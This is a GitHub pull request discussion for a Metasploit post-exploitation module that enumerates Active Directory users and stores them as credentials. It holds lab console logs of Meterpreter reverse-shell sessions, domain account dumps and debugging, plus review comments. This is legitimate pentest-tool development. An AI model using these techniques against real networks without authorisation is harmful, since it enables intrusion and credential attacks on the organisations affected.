Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enum Ad Users -> Database #4392

Merged
merged 1 commit into from
Jan 30, 2015
Merged

Conversation

Meatballs1
Copy link
Contributor

Dumps AD Users to the database. Tries to detect Disabled and Locked out accounts from the userAccountControl. Disabled appears to be set here, but normal account lockouts don't seem to set in the flags.

Not sure where Metasploit::Credentials stores that info, or how it uses it, doesn't bother showing it with creds... :)

n.b. I tried using smb_login with DB_ALL_USERS true, but that didn't seem to work...

msf post(enum_ad_users) > show options

Module options (post/windows/gather/enum_ad_users):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   DOMAIN                       no        The domain to query or distinguished name (e.g. DC=test,DC=com)
   MAX_SEARCH  500              yes       Maximum values to retrieve, 0 for all.
   SESSION     8                yes       The session to run this module on.
   STORE_LOOT  false            yes       Store file in loot.

msf post(enum_ad_users) > rerun
[*] Reloading module...

Domain Users
============

 sAMAccountName  userAccountControl
 --------------  ------------------
 Administrator   66048
 Guest           66082
 krbtgt          514
 user01          66048
 user02          66048
 user03          66048
 user04          66048
 user05          66048
 user06          66048
 user07          66048
 user08          66048
 user09          66048
 user10          66048
 reception       512
 pwned           546
 lockout_man     512

[*] Post module execution completed
msf post(enum_ad_users) > creds
Credentials
===========

host          service        public         private  realm                 private_type
----          -------        ------         -------  -----                 ------------
172.16.80.10  445/tcp (smb)  user04                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user05                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user06                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user07                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user08                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user09                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user10                  metasploitable.local  
172.16.80.10  445/tcp (smb)  reception               metasploitable.local  
172.16.80.10  445/tcp (smb)  pwned                   metasploitable.local  
172.16.80.10  445/tcp (smb)  lockout_man             metasploitable.local  
172.16.80.10  445/tcp (smb)  Administrator           metasploitable.local  
172.16.80.10  445/tcp (smb)  Guest                   metasploitable.local  
172.16.80.10  445/tcp (smb)  krbtgt                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user01                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user02                  metasploitable.local  
172.16.80.10  445/tcp (smb)  user03                  metasploitable.local  

msf post(enum_ad_users) > 

Verification

  • Run on a Domain Joined PC
  • Check the output of 'creds' afterwards


begin
q = query(search_filter, max_search, fields)
if q.nil? || q[:results].empty?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The exceptions should only occur in the query method call, so only it should be protected. This if should moveout of the begin rescue:

    begin
      q = query(search_filter, max_search, fields)
    rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
      # Can't bind or in a network w/ limited accounts
     print_errror(e.message)
     return
    end

    if q.nil? || q[:results].empty?
      return
    end      

@Meatballs1
Copy link
Contributor Author

I got a bit carried away and added lots of functionality based on @darkoperator's similar module :o

@darkoperator
Copy link
Contributor

Happy you liked my work ;)

@jvazquez-r7
Copy link
Contributor

Thanks for the PR!

Works when I use it from an Administrator account:

msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.132
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:57255) at 2014-12-24 12:03:43 -0600

meterpreter > getuid
Server username: DEMO\Administrator
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/gather/enum_ad_users
msf post(enum_ad_users) > set session 1
session => 1
msf post(enum_ad_users) > run

Domain Users
============

 sAMAccountName  userAccountControl  lockoutTime  mail  primarygroupid  description
 --------------  ------------------  -----------  ----  --------------  -----------
 Administrator   512                                    513             Built-in account for administering the computer/domain
 Guest           66082                                  514             Built-in account for guest access to the computer/domain
 juan            512                                    513
 krbtgt          514                                    513             Key Distribution Center Service Account

[*] Post module execution completed

But fails on a regular Domain User session:

msf post(enum_ad_users) > use exploit/multi/handler
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...


[*] Sending stage (770048 bytes) to 172.16.158.132
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.132:57260) at 2014-12-24 12:05:14 -0600

meterpreter >
meterpreter >
meterpreter > getuid
bServer username: DEMO\juan
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use post/windows/gather/enum_ad_users
msf post(enum_ad_users) > set session 2
session => 2
msf post(enum_ad_users) > run

[-] extapi_adsi_domain_query: Operation failed: 2147943726
[*] Post module execution completed
msf post(enum_ad_users) >

Does the module requires a session with administration privileges? If it's the case worths to point the module description and/or make some check in the code, since the error isn't very explanatory.

@Meatballs1
Copy link
Contributor Author

HRESULT 0x8007052E is something to do with a login failure? It shouldn't require administrative privileges at all, a normal user can enumerate domain users via LDAP.

Are you getting in via cached local credentials? Perhaps the user's password has expired etc?

It could be that your Domain DNS is a bit funky? Try set DOMAIN DEMO and see if that works. If you puts domain at line 54 and see if it comes back with anything?

@jvazquez-r7
Copy link
Contributor

  • Verified which the user is valid on the domain
  • Added the next puts line after line 54 puts "#{domain} / #{domain_ip}"
  • Results with set DOMAIN DEMO
msf exploit(handler) > use post/windows/gather/enum_ad_users
msf post(enum_ad_users) > show options

Module options (post/windows/gather/enum_ad_users):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   DOMAIN            DEMO             no        The domain to query or distinguished name (e.g. DC=test,DC=com)
   EXCLUDE_DISABLED  false            yes       Exclude from search disabled accounts.
   EXCLUDE_LOCKED    false            yes       Exclude in search locked accounts..
   MAX_SEARCH        500              yes       Maximum values to retrieve, 0 for all.
   SESSION           1                yes       The session to run this module on.
   STORE_LOOT        false            yes       Store file in loot.
   UAC               ANY              yes       Filter on User Account Control Setting. (accepted: ANY, NO_PASSWORD, CHANGE_PASSWORD, NEVER_EXPIRES, SMARTCARD_REQUIRED, NEVER_LOGGEDON)

msf post(enum_ad_users) > set session 2
session => 2
msf post(enum_ad_users) > run
DEMO / 198.105.244.228

Domain Users
============

 sAMAccountName  userAccountControl  lockoutTime  mail  primarygroupid  description
 --------------  ------------------  -----------  ----  --------------  -----------
 Administrator   512                                    513             Built-in account for administering the computer/domain
 Guest           66082                                  514             Built-in account for guest access to the computer/domain
 juan            512                                    513
 krbtgt          514                                    513             Key Distribution Center Service Account
  • Second run
msf post(enum_ad_users) > run
DEMO.local / 172.16.158.135

[-] Post failed: ActiveRecord::RecordNotUnique PG::UniqueViolation: ERROR:  duplicate key value violates unique constraint "unique_public_metasploit_credential_cores"
DETAIL:  Key (workspace_id, public_id)=(652, 6) already exists.
: INSERT INTO "metasploit_credential_cores" ("created_at", "logins_count", "origin_id", "origin_type", "private_id", "public_id", "realm_id", "updated_at", "workspace_id") VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9) RETURNING "id"
[-] Call stack:
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/postgresql_adapter.rb:1176:in `get_last_result'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/postgresql_adapter.rb:1176:in `exec_cache'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/postgresql_adapter.rb:661:in `block in exec_query'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/abstract_adapter.rb:280:in `block in log'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/notifications/instrumenter.rb:20:in `instrument'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/abstract_adapter.rb:275:in `log'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/postgresql_adapter.rb:659:in `exec_query'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/abstract/database_statements.rb:63:in `exec_insert'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/abstract/database_statements.rb:90:in `insert'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/abstract/query_cache.rb:14:in `insert'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/relation.rb:66:in `insert'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/persistence.rb:367:in `create'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/timestamp.rb:58:in `create'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/callbacks.rb:268:in `block in create'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:403:in `_run__1412768196642409183__create__239188368190774822__callbacks'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:405:in `__run_callback'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:385:in `_run_create_callbacks'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:81:in `run_callbacks'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/callbacks.rb:268:in `create'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/persistence.rb:348:in `create_or_update'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/callbacks.rb:264:in `block in create_or_update'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:469:in `_run__1412768196642409183__save__239188368190774822__callbacks'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:405:in `__run_callback'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:385:in `_run_save_callbacks'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activesupport-3.2.19/lib/active_support/callbacks.rb:81:in `run_callbacks'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/callbacks.rb:264:in `create_or_update'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/persistence.rb:104:in `save!'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/validations.rb:56:in `save!'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/attribute_methods/dirty.rb:33:in `save!'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/transactions.rb:264:in `block in save!'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/transactions.rb:313:in `block in with_transaction_returning_status'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/connection_adapters/abstract/database_statements.rb:192:in `transaction'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/transactions.rb:208:in `transaction'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/transactions.rb:311:in `with_transaction_returning_status'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/activerecord-3.2.19/lib/active_record/transactions.rb:264:in `save!'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/metasploit-credential-0.13.7/lib/metasploit/credential/creation.rb:179:in `block in create_credential_core'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/metasploit-credential-0.13.7/lib/metasploit/credential/creation.rb:531:in `retry_transaction'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/metasploit-credential-0.13.7/lib/metasploit/credential/creation.rb:171:in `create_credential_core'
[-]   /Users/jvazquez/.rvm/gems/ruby-2.1.4@metasploit-framework/gems/metasploit-credential-0.13.7/lib/metasploit/credential/creation.rb:143:in `create_credential'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/windows/gather/enum_ad_users.rb:153:in `store_username'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/windows/gather/enum_ad_users.rb:111:in `block in run'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/windows/gather/enum_ad_users.rb:97:in `each'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/windows/gather/enum_ad_users.rb:97:in `run'

mmm trying to figure out what is going on with this duplicate key error

@jvazquez-r7
Copy link
Contributor

Asked ppl about reporting just username as credentials. Since @limhoff-r7 didn't any comment about that, I'm assuming it's right. Anyway, I'm going to wait to get some feedback about the raised exception when running the module a second time.

@Meatballs1
Copy link
Contributor Author

Hmm, I'm not hitting that error when running it twice against the same session, or even against a second session here.

I don't really understand the internals of CREDS enough apart from its obviously creating a duplicate composite key of workspace_id and public_id. The workspace presumably being the current workspace, and public_id being generated somewhere in the gem?

Storing just the username makes sense, in smb_login you can use DB_ALL_USERS to iterate over database users etc.

@jvazquez-r7
Copy link
Contributor

@Meatballs1 yup, I asked for feedback to ppl, hopefully they can't can put some light faster on the Exception. I hope there will be some feedback next week, after christmas days.

@thelightcosine
Copy link

@Meatballs1 lol, beating me to the punch. this has been on my lsit to do for a long time. It was marked down for after I added LDAP support to Meterpreter...which O did. Not sure If I should be happy or sad that the things I was going to do keep getting done by other people first =P

@thelightcosine
Copy link

i'll take a peek at this today if I can

@thelightcosine
Copy link

@jvazquez-r7 based on line numbers, i suspect your version of metasploit-credential may be out of date, try bundle update metasploit-credential and see if you still get the same error?

end

def run
fields = ['sAMAccountName', 'userAccountControl', 'lockoutTime', 'mail', 'primarygroupid', 'description']

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if this array of fields is never getting modified it should probably be a constant

@thelightcosine
Copy link

@jvazquez-r7 @Meatballs1 issued a PR against your PR branch with some code style cleanups per my comments above. Also pulls in latest master, including gem updates for metasploit-credential. With these changes I don't see any errors occuring.

@thelightcosine
Copy link

ooookay, after arguing with the github ui, i think i got the pr setup right this time...sorry about that

@Meatballs1
Copy link
Contributor Author

All changes working here, thanks @dmaloney-r7

@jvazquez-r7
Copy link
Contributor

And the duplicate error was due to my database being in kinda weird state, so I guess it is ready to go, fast check and landing, thanks @dmaloney-r7 and @Meatballs1 !

@jvazquez-r7
Copy link
Contributor

well, holding, @dmaloney-r7 already assigned himself, maybe wants to double check, giving him chance to review, otherwise will land along the next days :)

@jvazquez-r7
Copy link
Contributor

ack'ed with @dmaloney-r7, I'm going to do last check and landing ! Thanks @Meatballs1 and @dmaloney-r7 for the hard work here!

@jvazquez-r7
Copy link
Contributor

Last test;

msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.134
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.134:53524) at 2015-01-30 17:17:56 -0600

meterpreter > getuid
Server username: DEMO\Administrator
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/gather/enum_ad_users
msf post(enum_ad_users) > set session 1
session => 1
msf post(enum_ad_users) > run

Domain Users
============

 sAMAccountName  userAccountControl  lockoutTime  mail  primarygroupid  description
 --------------  ------------------  -----------  ----  --------------  -----------
 Administrator   512                                    513             Built-in account for administering the computer/domain
 Guest           66082                                  514             Built-in account for guest access to the computer/domain
 juan            512                                    513
 krbtgt          514                                    513             Key Distribution Center Service Account

@jvazquez-r7 jvazquez-r7 merged commit 6b0de8c into rapid7:master Jan 30, 2015
@Meatballs1 Meatballs1 deleted the enum_ad_users_ branch January 30, 2015 23:36
@Meatballs1
Copy link
Contributor Author

Cool ta :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants